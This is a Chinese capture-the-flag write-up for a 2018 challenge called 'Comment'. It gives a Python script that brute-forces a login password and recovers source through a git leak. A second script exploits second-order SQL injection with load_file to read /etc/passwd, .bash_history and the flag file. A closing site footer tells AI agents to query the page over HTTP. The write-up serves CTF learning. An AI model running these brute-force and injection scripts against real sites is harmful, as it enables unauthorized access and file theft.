# Comment

爆个密码

```
import requests

for i in range(100, 999):
    url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/login.php"
    data = {
        "username": "zhangwei",
        "password": f"zhangwei{i}"
    }
    res = requests.post(url=url, data=data)
    if "429" in res.text:
        i = i - 1
    elif "error" not in res.text:
        print(i)
        print(res.text)
        break
```

git泄露

<figure><img src="/files/cR7RZpJ6SLfweGqNxjDN" alt=""><figcaption></figcaption></figure>

发现这里的php代码不全，于是查看前面的版本的文件

<figure><img src="/files/Kz7KM7L4aS6nMa5rh1pA" alt=""><figcaption></figcaption></figure>

存在二次注入，先Write后进行Comment，每次都进行了addslashes过滤，传入的`category=',content=user(),/*`后面的content进行闭合`*/#`。

<figure><img src="/files/vx9r1yLHkyG0LWdxSBpZ" alt=""><figcaption></figcaption></figure>

撸个脚本方便命令执行（直接改command参数即可）：

```
import requests
import reimport requests
import re


def write(url):
    command = "(select load_file('/etc/passwd'))"
    headers = {
        'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
    }
    data = {
        "title": 1,
        "category": f"',content={command},/*",
        "content": 2
    }
    res = requests.post(url=url + "write_do.php?do=write", headers=headers, data=data)
    cid = re.findall("<input hidden name='id' value='(\d*)'>", res.text)[-1]
    comment(url, cid)


def comment(url, cid):
    headers = {
        'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
    }
    data = {
        "content": "*/#",
        "bo_id": cid
    }
    res = requests.post(url=url + "write_do.php?do=comment", headers=headers, data=data)
    out = re.findall('</label><div class="col-sm-5"><p>([\s\S]*)</p></div></div>', res.text)[-1]
    print(out)


if __name__ == "__main__":
    url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/"
    write(url)
```

查看历史记录

> 在终端敲过的命令，linux是有记录的，默认可以记录500条历史命令。这些命令保存在用户的宿主目录中的.bash\_history文件中。

```
    command = "(select load_file('/home/www/.bash_history'))"
```

大概流程：将tmp目录下的html.zip解压移动到/var/www/目录下，并且删掉目录下的.DS\_Store，然后开启Apache服务器，但是/tmp/html/下的.DS\_Store没有删除。

> 默认情况下，Mac OS X的[Finder](https://zh.wikipedia.org/wiki/Finder)程序会在进行存取的每个目录下创建.DS\_Store文件，甚至是在远程系统上的目录（例如通过[SMB](https://zh.wikipedia.org/wiki/%E4%BC%BA%E6%9C%8D%E5%99%A8%E8%A8%8A%E6%81%AF%E5%8D%80%E5%A1%8A)连接或者[蘋果文件協議](https://zh.wikipedia.org/wiki/%E8%8B%B9%E6%9E%9C%E6%96%87%E4%BB%B6%E5%8D%8F%E8%AE%AE)连接来共享的目录），并且甚至如果用户仅仅通过移动该目录的Finder窗口自定义了其显示。[\[3\]](https://zh.wikipedia.org/wiki/.DS_Store#cite_note-3) 这与既存的在先前版本的Finder中为了同样目的所使用的方式的系统形成了对比，先前的只会放置一些不可见文件于卷的根目录下（甚至在外部[文件系统](https://zh.wikipedia.org/wiki/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F)上），并总是将整个驱动器的所有目录的设置与元数据存储在这类文件的单一集合中。

由于该文件为二进制文件，有不可见字符，用hex函数转换读取。

<figure><img src="/files/UYXIjb4kTtgrzUlv4riP" alt=""><figcaption></figcaption></figure>

找到文件flag\_8946e1ff1ee3e40f.php

```
    command = "(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')))"
```

这题的动态flag只设置在了/var/www/html/目录下，/tmp/目录下面没有修改动态flag，其实不太符合题目逻辑，但是也不打紧。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2018/2018-wang-ding-bei/comment.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
